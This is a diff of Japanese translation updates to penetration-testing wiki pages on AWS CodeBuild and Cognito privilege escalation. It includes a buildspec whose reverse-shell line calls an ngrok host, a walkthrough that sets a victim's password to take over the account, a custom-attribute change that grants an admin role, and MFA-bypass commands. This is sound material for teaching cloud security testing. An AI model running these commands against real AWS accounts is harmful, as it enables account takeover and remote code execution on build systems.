**潜在的な影響:** 添付された AWS Codebuild ロールへの直接的な privesc.
|
||||
**潜在的影響:** 割り当てられた AWS Codebuild roles への直接的な privesc。
|
||||
|
||||
### SSM
|
||||
|
||||
**ssm セッションを開始するための十分な権限**があれば、ビルド中の**Codebuild プロジェクトの内部**に入ることが可能です。
|
||||
十分な権限で **enough permissions to start a ssm session** を持っていれば、ビルド中の **inside a Codebuild project** に入ることができます。
|
||||
|
||||
codebuild project には breakpoint を設ける必要があります:
|
||||
The codebuild project will need to have a breakpoint:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">phases:
|
||||
pre_build:
|
||||
@@ -319,13 +382,13 @@ commands:
|
||||
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
|
||||
aws ssm start-session --target <sessionTarget> --region <region>
|
||||
```
|
||||
詳細は [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。
|
||||
詳しくは [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
|
||||
|
||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||
|
||||
特定の CodeBuild プロジェクトのビルドを開始/再開でき、そのプロジェクトが `buildspec.yml` を attacker が write access を持つ S3 バケットに保存している場合、attacker は CodeBuild プロセス内で command execution を取得できます。
|
||||
特定の CodeBuild プロジェクトのビルドを開始/再起動でき、その `buildspec.yml` ファイルが attacker が write access を持つ S3 バケットに格納されている場合、attacker は CodeBuild プロセス内でコマンド実行を取得できます。
|
||||
|
||||
注: このエスカレーションは、CodeBuild worker が attacker のものとは異なる role(できればより privileged なもの)である場合にのみ relevant です。
|
||||
注意: このエスカレーションは、CodeBuild ワーカーが attacker と異なるロール(望ましくは attacker よりも権限が高いロール)を持っている場合にのみ該当します。
|
||||
```bash
|
||||
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
|
||||
|
||||
@@ -342,7 +405,7 @@ aws codebuild start-build --project-name <project-name>
|
||||
|
||||
# Wait for the reverse shell :)
|
||||
```
|
||||
このような **buildspec** を使って **reverse shell** を取得できます:
|
||||
次のような **buildspec** を使って **reverse shell** を得ることができます:
|
||||
```yaml:buildspec.yml
|
||||
version: 0.2
|
||||
|
||||
@@ -351,13 +414,13 @@ build:
|
||||
commands:
|
||||
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
|
||||
```
|
||||
**影響:** 通常高い権限を持つ AWS CodeBuild ワーカーが使用するロールへの直接的な privesc。
|
||||
**影響:** 通常高い権限を持つ AWS CodeBuild worker が使用するロールへの直接的な privesc。
|
||||
|
||||
> [!WARNING]
|
||||
> buildspec は zip フォーマットで想定されることがあるため、攻撃者はルートディレクトリから `buildspec.yml` をダウンロード、解凍、改変、再圧縮してアップロードする必要があることに注意してください
|
||||
> buildspec は zip 形式で想定される場合があるため、攻撃者は zip を download、unzip してルートディレクトリの `buildspec.yml` を modify、再度 zip して upload する必要がある点に注意してください。
|
||||
|
||||
More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
|
||||
**潜在的影響:** 添付された AWS Codebuild ロールへの直接的な privesc。
|
||||
**潜在的影響:** アタッチされた AWS Codebuild roles への直接的な privesc。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,23 +4,23 @@
|
||||
|
||||
## Cognito
|
||||
|
||||
Cognitoの詳細については次を参照してください:
|
||||
Cognito の詳細については次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Identity Poolから資格情報を収集する
|
||||
### Identity Pool からの資格情報取得
|
||||
|
||||
Cognitoは**IAM role credentials**を**authenticated**および**unauthenticated**の両方の**users**に付与できるため、アプリケーションの**Identity Pool ID**(多くの場合アプリにハードコーディングされている)を特定できれば、新しいクレデンシャルを取得してprivescすることができます(おそらく以前は一切クレデンシャルを持っていなかったAWSアカウント内で)。
|
||||
Cognito は **authenticated** および **unauthenticated** **users** の両方に **IAM role credentials** を付与できるため、アプリケーションの **Identity Pool ID**(通常はハードコードされています)を特定できれば、新しい資格情報を取得でき、結果として privesc が可能になります(おそらく以前は何の資格情報も持っていなかった AWS アカウント内で)。
|
||||
|
||||
For more information [**check this page**](../../aws-unauthenticated-enum-access/index.html#cognito).
|
||||
|
||||
**潜在的な影響:** unauth usersに紐付いたサービスロールへの直接的なprivesc(おそらくauth usersに紐付いたロールにも)。
|
||||
**Potential Impact:** unauth users にアタッチされたサービスロールへの直接的な privesc(おそらく auth users にアタッチされたものにも)
|
||||
|
||||
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
|
||||
|
||||
この権限があれば、cognito appのauthenticated/unauthenticated usersに対して**grant any cognito role**を与えることができます。
|
||||
この権限があれば、cognito アプリの authenticated/unauthenticated users に対して **grant any cognito role** を行うことができます。
|
||||
```bash
|
||||
aws cognito-identity set-identity-pool-roles \
|
||||
--identity-pool-id <identity_pool_id> \
|
||||
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
|
||||
## Get creds for that id
|
||||
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
|
||||
```
|
||||
If the cognito app **unauthenticated users が有効になっていない** 場合、有効化するために `cognito-identity:UpdateIdentityPool` 権限も必要になることがあります。
|
||||
もし cognito アプリが **unauthenticated users enabled** になっていない場合、それを有効にするために `cognito-identity:UpdateIdentityPool` 権限が必要になることがあります。
|
||||
|
||||
**Potential Impact:** 任意の cognito role への直接的な privesc。
|
||||
|
||||
### `cognito-identity:update-identity-pool`
|
||||
|
||||
この権限を持つ攻撃者は、例えば自身が管理する Cognito User Pool や、自分でログインできるその他の identity provider を、**この Cognito Identity Pool にアクセスする手段**として設定できます。すると、そのユーザー提供元に単に **login** するだけで、**Identity Pool に設定された authenticated role へアクセスできる** ようになります。
|
||||
この権限を持つ攻撃者は、例えば自身が管理する Cognito User Pool や自身で login できる他の identity provider を、**Cognito Identity Pool にアクセスする手段**として設定することができます。すると、そのユーザープロバイダで単に **login** するだけで、**Identity Pool に設定された authenticated role にアクセスできるようになります。**
|
||||
```bash
|
||||
# This example is using a Cognito User Pool as identity provider
|
||||
## but you could use any other identity provider
|
||||
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
|
||||
--identity-id <identity_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
```
|
||||
この権限を**悪用して basic auth を許可する**ことも可能です:
|
||||
また、**この権限を悪用して basic auth を許可する**:
|
||||
```bash
|
||||
aws cognito-identity update-identity-pool \
|
||||
--identity-pool-id <value> \
|
||||
@@ -69,40 +69,40 @@ aws cognito-identity update-identity-pool \
|
||||
--allow-unauthenticated-identities
|
||||
--allow-classic-flow
|
||||
```
|
||||
**Potential Impact**: identity pool 内に設定された認証済み IAM role を侵害する可能性がある。
|
||||
**Potential Impact**: identity pool 内に設定された認証済み IAM ロールを奪取する可能性。
|
||||
|
||||
### `cognito-idp:AdminAddUserToGroup`
|
||||
|
||||
この権限は **CognitoユーザーをCognitoグループに追加する** ことを許可するため、攻撃者はこの権限を悪用して攻撃者が操作するユーザーを権限が **より高い** または **異なる IAM roles** を持つ他のグループに追加する可能性がある:
|
||||
この権限は **Cognito user を Cognito group に追加する** ことを許可します。したがって攻撃者はこの権限を悪用して、自分が管理するユーザーをより**高い**権限や**異なる IAM roles**を持つ他のグループに追加することができます:
|
||||
```bash
|
||||
aws cognito-idp admin-add-user-to-group \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--group-name <value>
|
||||
```
|
||||
**潜在的影響:** Privesc が他の Cognito グループおよび User Pool Groups に紐付く IAM ロールへの権限昇格を引き起こす可能性があります。
|
||||
**Potential Impact:** User Pool Groups に割り当てられている他の Cognito グループおよび IAM ロールへの Privesc.
|
||||
|
||||
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
|
||||
|
||||
これらの権限を持つ攻撃者は、**グループを作成/更新**して、**侵害された Cognito Identity Provider によって使用可能なすべての IAM ロール** を割り当て、侵害されたユーザーをそのグループの一員にして、それらすべてのロールにアクセスできるようにする可能性があります:
|
||||
これらの権限を持つ攻撃者は、**グループを作成/更新する**ことで、**侵害された Cognito Identity Provider によって使用可能なすべての IAM ロール**を割り当て、その侵害されたユーザーをグループに参加させることで、これらすべてのロールにアクセスできます:
|
||||
```bash
|
||||
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
|
||||
```
|
||||
**潜在的影響:** Privesc to other Cognito IAM roles.
|
||||
**潜在的な影響:** Privesc to other Cognito IAM roles.
|
||||
|
||||
### `cognito-idp:AdminConfirmSignUp`
|
||||
|
||||
この権限により**サインアップを確認**できます。デフォルトでは誰でも Cognito アプリケーションにサインインできるため、そのままにしておくと、ユーザーは任意のデータでアカウントを作成し、この権限でそれを確認できてしまいます。
|
||||
この権限は**サインアップを確認する**ことを許可します。デフォルトでは誰でも Cognito applications にサインインできるため、この設定を放置するとユーザーは任意の情報でアカウントを作成し、この権限で確認できてしまいます。
|
||||
```bash
|
||||
aws cognito-idp admin-confirm-sign-up \
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
```
|
||||
**Potential Impact:** 新しいユーザーを登録できる場合、認証済みユーザーの identity pool IAM role に対する間接的な privesc。任意のアカウントを confirm できることで、他のアプリ機能への間接的な privesc。
|
||||
**潜在的な影響:** 新しいユーザーを登録できる場合、認証済みユーザー向けの identity pool IAM role への間接的な privesc。任意のアカウントを確認できることで、他のアプリ機能への間接的な privesc。
|
||||
|
||||
### `cognito-idp:AdminCreateUser`
|
||||
|
||||
この権限があれば、攻撃者は user pool 内に新しいユーザーを作成できます。新しいユーザーは enabled な状態で作成されますが、パスワードの変更が必要になります。
|
||||
この権限により、攻撃者は user pool 内に新しいユーザーを作成できます。新しいユーザーは enabled として作成されますが、パスワードの変更が必要です。
|
||||
```bash
|
||||
aws cognito-idp admin-create-user \
|
||||
--user-pool-id <value> \
|
||||
@@ -111,25 +111,25 @@ aws cognito-idp admin-create-user \
|
||||
[--validation-data <value>]
|
||||
[--temporary-password <value>]
|
||||
```
|
||||
**潜在的な影響:** 認証済みユーザー向けの identity pool IAM role への直接的な privesc。 他のアプリ機能(任意のユーザーを作成できる)への間接的な privesc。
|
||||
**潜在的影響:** 認証済みユーザーに対する identity pool IAM role への直接的な privesc。任意のユーザーを作成できるなど、他のアプリ機能に対する間接的な privesc。
|
||||
|
||||
### `cognito-idp:AdminEnableUser`
|
||||
|
||||
この権限は、攻撃者が無効化されたユーザーの認証情報を入手し、そのユーザーを**再度有効化する**必要があるという非常に稀なエッジケースで役立ちます。
|
||||
この権限は、非常に限定的なケースで有用です。例えば、attacker が無効化されたユーザーの credentials を見つけ、**再度有効化する**必要がある場合など。
|
||||
```bash
|
||||
aws cognito-idp admin-enable-user \
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
```
|
||||
**潜在的影響:** 間接的に identity pool IAM role への privesc を引き起こし、攻撃者が無効化されたユーザーの認証情報を持っていた場合はそのユーザーの権限を取得できます。
|
||||
**潜在的影響:** 認証されたユーザーの identity pool IAM ロールへの間接的な権限昇格、および攻撃者が無効化されたユーザーの資格情報を持っている場合にはそのユーザーの権限の取得。
|
||||
|
||||
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
|
||||
|
||||
この権限は[**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** 詳細はリンクを参照してください。
|
||||
この権限により[**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.**でログインできます。詳細はリンクを参照してください。
|
||||
|
||||
### `cognito-idp:AdminSetUserPassword`
|
||||
|
||||
この権限により攻撃者は**任意のユーザーのパスワードを変更**でき、MFAが有効でないユーザーをなりすますことが可能になります。
|
||||
この権限があれば攻撃者は**任意のユーザーの既知のパスワードを設定する**ことができ、通常は**直接的なアカウント乗っ取り**に繋がります(特に被害者がMFAを有効にしていない場合、または該当する auth flow/client でMFAが強制されていない場合)。
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-password \
|
||||
--user-pool-id <value> \
|
||||
@@ -137,18 +137,43 @@ aws cognito-idp admin-set-user-password \
|
||||
--password <value> \
|
||||
--permanent
|
||||
```
|
||||
**潜在的影響:** ほぼ任意のユーザーに対する直接的な privesc を引き起こす可能性があり、そのユーザーが所属するすべてのグループへのアクセスや Identity Pool の authenticated IAM role へのアクセスが可能になる。
|
||||
一般的なワークフロー:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
USER_POOL_ID="<user_pool_id>"
|
||||
VICTIM_USERNAME="<victim_username_or_email>"
|
||||
NEW_PASS='P@ssw0rd-ChangeMe-123!'
|
||||
|
||||
# 1) Set a permanent password for the victim (takeover primitive)
|
||||
aws cognito-idp admin-set-user-password \
|
||||
--region "$REGION" \
|
||||
--user-pool-id "$USER_POOL_ID" \
|
||||
--username "$VICTIM_USERNAME" \
|
||||
--password "$NEW_PASS" \
|
||||
--permanent
|
||||
|
||||
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
|
||||
CLIENT_ID="<user_pool_app_client_id>"
|
||||
aws cognito-idp initiate-auth \
|
||||
--no-sign-request --region "$REGION" \
|
||||
--client-id "$CLIENT_ID" \
|
||||
--auth-flow USER_PASSWORD_AUTH \
|
||||
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
|
||||
```
|
||||
Related permission: `cognito-idp:AdminResetUserPassword` can be used to force a reset flow for a victim (impact depends on how password recovery is implemented and what the attacker can intercept or control).
|
||||
|
||||
**潜在的影響:** 任意ユーザーのアカウント乗っ取り;アプリ層の権限(groups/roles/claims)へのアクセスおよびCognito tokensを信頼する下流のあらゆるもの;Identity Pool の認証済み IAM ロールへの潜在的なアクセス。
|
||||
|
||||
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
|
||||
|
||||
**AdminSetUserSettings**: 攻撃者はこの権限を悪用して、自身が管理する携帯電話をユーザーの**SMS MFA**として設定する可能性がある。
|
||||
**AdminSetUserSettings**: 攻撃者はこの権限を悪用して、自身が管理する携帯電話番号をユーザーの**SMS MFA**として設定できる可能性があります。
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-settings \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--mfa-options <value>
|
||||
```
|
||||
**SetUserMFAPreference:** 前のものと同様に、この権限はユーザーのMFA設定を変更してMFA保護を回避するために使用できます。
|
||||
**SetUserMFAPreference:** 前のものと同様、この権限はユーザーのMFA設定を変更してMFA保護をbypassするために使用できます。
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-mfa-preference \
|
||||
[--sms-mfa-settings <value>] \
|
||||
@@ -156,7 +181,7 @@ aws cognito-idp admin-set-user-mfa-preference \
|
||||
--username <value> \
|
||||
--user-pool-id <value>
|
||||
```
|
||||
**SetUserPoolMfaConfig**: 前のものと同様に、この権限を使って user pool の MFA 設定を変更し、MFA 保護を bypass できます。
|
||||
**SetUserPoolMfaConfig**: 前述のものと同様、この権限はuser poolのMFAの設定を変更してMFAの保護をbypassするために使用できます。
|
||||
```bash
|
||||
aws cognito-idp set-user-pool-mfa-config \
|
||||
--user-pool-id <value> \
|
||||
@@ -164,40 +189,63 @@ aws cognito-idp set-user-pool-mfa-config \
|
||||
[--software-token-mfa-configuration <value>] \
|
||||
[--mfa-configuration <value>]
|
||||
```
|
||||
**UpdateUserPool:** ユーザープールを更新して MFA ポリシーを変更することも可能です。 [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
**UpdateUserPool:** user poolを更新してMFAポリシーを変更することも可能です。 [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
|
||||
**Potential Impact:** 攻撃者が認証情報を知っている任意のユーザーに対する間接的な privesc が発生する可能性があり、MFA 保護を回避できる場合があります。
|
||||
**潜在的影響:** 間接的なprivescで、攻撃者が認証情報を知っている任意のユーザーに対して影響を及ぼす可能性があり、MFA保護を回避できることがあります。
|
||||
|
||||
### `cognito-idp:AdminUpdateUserAttributes`
|
||||
|
||||
この権限を持つ攻撃者は、制御下にあるユーザーのメールアドレスや電話番号、またはその他の属性を変更して、基盤となるアプリケーションでより高い権限を取得しようとする可能性があります。\
|
||||
これにより、メールアドレスや電話番号を変更して検証済みとして設定することができます。
|
||||
この権限を持つ攻撃者は、基盤となるアプリケーションで特権を獲得しようとして、User Poolユーザーの**任意の変更可能な属性**(`custom:*` 属性を含む)を変更できます。
|
||||
|
||||
よくある高インパクトなパターンは、**claim-based RBAC** を **custom attributes** を使って実装することです(例えば `custom:role=admin`)。アプリケーションがそのクレームを信頼している場合、それを更新して再認証することで、アプリ本体に手を加えずに認可を回避できます。
|
||||
```bash
|
||||
aws cognito-idp admin-update-user-attributes \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--user-attributes <value>
|
||||
```
|
||||
**Potential Impact:** ユーザ属性に基づいて権限を付与する Cognito User Pool を利用する基盤アプリケーションに対する間接的な privesc の可能性。
|
||||
例: 自分の role を昇格させ、refresh tokens を更新する:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
USER_POOL_ID="<user_pool_id>"
|
||||
USERNAME="<your_username>"
|
||||
|
||||
# 1) Change the RBAC attribute (example)
|
||||
aws cognito-idp admin-update-user-attributes \
|
||||
--region "$REGION" \
|
||||
--user-pool-id "$USER_POOL_ID" \
|
||||
--username "$USERNAME" \
|
||||
--user-attributes Name="custom:role",Value="admin"
|
||||
|
||||
# 2) Re-authenticate to obtain a token with updated claims
|
||||
CLIENT_ID="<user_pool_app_client_id>"
|
||||
PASSWORD="<your_password>"
|
||||
aws cognito-idp initiate-auth \
|
||||
--no-sign-request --region "$REGION" \
|
||||
--client-id "$CLIENT_ID" \
|
||||
--auth-flow USER_PASSWORD_AUTH \
|
||||
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
|
||||
```
|
||||
**潜在的な影響:** Cognito attributes/claims を認可に信頼するアプリケーションに対する間接的な privesc;他のセキュリティ関連属性を変更できる(例えば `email_verified` や `phone_number_verified` を `true` に設定することが一部のアプリで影響する場合がある)。
|
||||
|
||||
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
|
||||
|
||||
この権限を持つ攻撃者は、既存のクライアントより制限の緩い新しい **User Pool Client を作成**できる可能性があります。例えば、新しいクライアントは任意の認証方法を許可したり、シークレットを持たなかったり、トークン取り消しを無効にしたり、トークンの有効期限を長く設定したりできます...
|
||||
この権限を持つ攻撃者は、既存のクライアントより制限の緩い **新しい User Pool Client を作成できる**。たとえば、新しいクライアントはあらゆる認証方法を許可したり、シークレットを持たず、トークンの取り消しが無効になっていたり、トークンの有効期間を長くできる...
|
||||
|
||||
新しいクライアントを作成する代わりに、**既存のクライアントを変更**して同様のことを行うことも可能です。
|
||||
新しいクライアントを作成する代わりに、**既存のクライアントを変更**しても同じことが可能である。
|
||||
|
||||
[**コマンドライン**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html)(または[**更新用**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html))で全オプションを確認できます。チェックしてみてください!
|
||||
In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) で全てのオプションが確認できる。チェックしてみて!
|
||||
```bash
|
||||
aws cognito-idp create-user-pool-client \
|
||||
--user-pool-id <value> \
|
||||
--client-name <value> \
|
||||
[...]
|
||||
```
|
||||
**潜在的影響:** Identity Pool の許可されたユーザー(User Pool で使用される)に対する間接的な privesc の可能性。新しい client を作成してセキュリティ対策を緩和することで、攻撃者が自分で作成したユーザーでログインできるようになる。
|
||||
**潜在的影響:** User Pool が使用する Identity Pool の承認済みユーザーに対する間接的な privesc の可能性。セキュリティ対策を緩める新しい client を作成することで、攻撃者が作成したユーザーでログインできるようになります。
|
||||
|
||||
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
|
||||
|
||||
攻撃者はこの権限を悪用して、新規ユーザーを含む csv をアップロードすることでユーザーを作成できます。
|
||||
攻撃者はこの権限を悪用して、csv に新しいユーザーをアップロードすることでユーザーを作成できます。
|
||||
```bash
|
||||
# Create a new import job
|
||||
aws cognito-idp create-user-import-job \
|
||||
@@ -214,13 +262,13 @@ aws cognito-idp start-user-import-job \
|
||||
curl -v -T "PATH_TO_CSV_FILE" \
|
||||
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
|
||||
```
|
||||
(新しい import job を作成する場合、iam passrole permission が必要になる可能性があります。まだテストしていません)。
|
||||
(新しい import job を作成する場合、iam passrole 権限が必要になる可能性があります。まだテストしていません)。
|
||||
|
||||
**潜在的影響:** 認証済みユーザーに対する identity pool IAM role への直接的な privesc。任意のユーザーを作成できるその他のアプリ機能への間接的な privesc。
|
||||
**潜在的影響:** 認証済みユーザー向けの identity pool IAM role への直接的な privesc。任意のユーザーを作成できるなど、他のアプリ機能への間接的な privesc。
|
||||
|
||||
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
|
||||
|
||||
攻撃者は新しい identity provider を作成し、**このプロバイダ経由でログインする**ことができるようになります。
|
||||
攻撃者は新しい identity provider を作成し、**このプロバイダー経由でログインできる**ようになる可能性があります。
|
||||
```bash
|
||||
aws cognito-idp create-identity-provider \
|
||||
--user-pool-id <value> \
|
||||
@@ -230,45 +278,45 @@ aws cognito-idp create-identity-provider \
|
||||
[--attribute-mapping <value>] \
|
||||
[--idp-identifiers <value>]
|
||||
```
|
||||
**Potential Impact:** 認証済みユーザーが identity pool IAM role への直接的な privesc。アプリの他の機能が任意のユーザーを作成できることによる間接的な privesc。
|
||||
**Potential Impact:** 認証済みユーザー向けの identity pool IAM role への直接的な privesc。任意のユーザーを作成できることで、アプリの他の機能への間接的な privesc。
|
||||
|
||||
### cognito-sync:* 分析
|
||||
### cognito-sync:\* 分析
|
||||
|
||||
これは Cognito Identity Pools のロールでデフォルトによく見られる許可です。ワイルドカードを含む許可は常に見た目が良くない(特に AWS 由来の場合)ですが、**与えられた許可は攻撃者の観点から見るとそれほど有用ではありません**。
|
||||
これは Cognito Identity Pools の roles においてデフォルトでよく付与される権限です。ワイルドカードを含む権限は(特に AWS の場合)見た目は常に悪く見えますが、**与えられた権限は攻撃者の観点からはそれほど有用ではありません**。
|
||||
|
||||
この許可は Identity Pools の情報および Identity Pools 内の Identity IDs を読み取ることを許可します(これは機密情報ではありません)。\
|
||||
Identity IDs には [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) が割り当てられていることがあり、これはセッションの情報(AWS はこれを **saved game** のように定義しています)。機密情報が含まれている可能性はありますが、その確率はかなり低いです。この情報にアクセスする方法は[**enumeration page**](../../aws-services/aws-cognito-enum/index.html)に記載されています。
|
||||
この権限は Identity Pools の情報と Identity Pools 内の Identity IDs を読み取ることを許可します(機密情報ではありません)。
|
||||
Identity IDs には [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) が割り当てられていることがあり、これはセッション情報(AWS はこれを **saved game** のように定義しています)です。ここに何らかの機密情報が含まれている可能性はありますが、確率はかなり低いです。これらの情報へアクセスする方法は [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) に記載されています。
|
||||
|
||||
攻撃者はこれらの許可を使って、**enroll himself to a Cognito stream that publish changes** on these datases や **lambda that triggers on cognito events** に自分を登録することも可能です。私はこれが使われているのを見たことはなく、ここに機密情報があるとは期待しませんが、あり得ないわけではありません。
|
||||
攻撃者はこれらの権限を使って、**enroll himself to a Cognito stream that publish changes** や **lambda that triggers on cognito events** に登録することも可能です。私はこれが実際に使われているのを見たことはなく、ここに機密情報があるとは期待しませんが、不可能ではありません。
|
||||
|
||||
### Automatic Tools
|
||||
### 自動ツール
|
||||
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu)、AWS exploitation framework は現在 "cognito\_\_enum" と "cognito\_\_attack" モジュールを含み、アカウント内のすべての Cognito アセットの列挙を自動化し、弱い設定やアクセス制御に使われるユーザー属性などをフラグし、ユーザー作成の自動化(MFA サポート含む)や、変更可能なカスタム属性、使用可能な identity pool credentials、id tokens 内の assumable roles に基づく privilege escalation を自動化します。
|
||||
|
||||
モジュールの機能の説明は [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) の part 2 を参照してください。インストール手順はメインの [Pacu](https://github.com/RhinoSecurityLabs/pacu) ページを参照してください。
|
||||
モジュールの機能の説明は part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) を参照してください。インストール手順はメインの [Pacu](https://github.com/RhinoSecurityLabs/pacu) ページを参照してください。
|
||||
|
||||
#### 使用例
|
||||
|
||||
特定の identity pool と user pool client に対してユーザー作成とすべての privesc ベクトルを試みるための cognito\_\_attack の使用例:
|
||||
Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
|
||||
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
|
||||
```
|
||||
現在の AWS アカウントに表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集するための cognito\_\_enum の使用例:
|
||||
現在の AWS アカウントで表示されるすべての user pools、user pool clients、identity pools、users などを収集するための cognito\_\_enum の使用例:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__enum
|
||||
```
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は python 製の CLI ツールで、Cognito に対するさまざまな攻撃(privesc のエスカレーションを含む)を実装しています。
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は、python製のCLIツールで、Cognitoに対する様々な攻撃(privesc escalationを含む)を実装しています。
|
||||
|
||||
#### Installation
|
||||
```bash
|
||||
$ pip install cognito-scanner
|
||||
```
|
||||
#### 使用法
|
||||
#### 使用方法
|
||||
```bash
|
||||
$ cognito-scanner --help
|
||||
```
|
||||
詳細については以下を参照してください: [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
|
||||
詳しくは次を参照してください [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,30 +1,30 @@
|
||||
# AWS - Codebuild Enum
|
||||
# AWS - CodeBuild 列挙
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CodeBuild
|
||||
|
||||
AWS **CodeBuild** は **完全に管理された継続的インテグレーションサービス** として認識されています。このサービスの主な目的は、ソースコードのコンパイル、テストの実行、およびデプロイメント用のソフトウェアパッケージの作成のシーケンスを自動化することです。CodeBuild が提供する主な利点は、ユーザーがビルドサーバーをプロビジョニング、管理、スケーリングする必要を軽減できる点にあります。この便利さは、サービス自体がこれらのタスクを管理するためです。AWS CodeBuild の重要な機能には以下が含まれます:
|
||||
AWS **CodeBuild** は、**フルマネージドの継続的インテグレーションサービス**として知られています。このサービスの主な目的は、ソースコードのコンパイル、テストの実行、ソフトウェアのデプロイ用パッケージ化という一連の工程を自動化することです。CodeBuild の主な利点は、ユーザーがビルドサーバーをプロビジョニング、管理、スケールする必要を軽減できる点にあります。これはサービス自身がそれらを管理するためです。AWS CodeBuild の主な機能は次のとおりです:
|
||||
|
||||
1. **管理されたサービス**: CodeBuild はビルドサーバーを管理およびスケーリングし、ユーザーをサーバーのメンテナンスから解放します。
|
||||
2. **継続的インテグレーション**: 開発およびデプロイメントのワークフローと統合し、ソフトウェアリリースプロセスのビルドおよびテストフェーズを自動化します。
|
||||
3. **パッケージ生成**: ビルドおよびテストフェーズの後、ソフトウェアパッケージを準備し、デプロイメントの準備を整えます。
|
||||
1. **マネージドサービス**: CodeBuild はビルドサーバーを管理およびスケールし、ユーザーをサーバーの保守から解放します。
|
||||
2. **継続的インテグレーション**: 開発・デプロイワークフローと統合して、ソフトウェアリリースのビルドおよびテスト段階を自動化します。
|
||||
3. **パッケージ作成**: ビルドとテストの段階の後、ソフトウェアパッケージを準備してデプロイ可能な状態にします。
|
||||
|
||||
AWS CodeBuild は他の AWS サービスとシームレスに統合され、CI/CD (継続的インテグレーション/継続的デプロイメント) パイプラインの効率と信頼性を向上させます。
|
||||
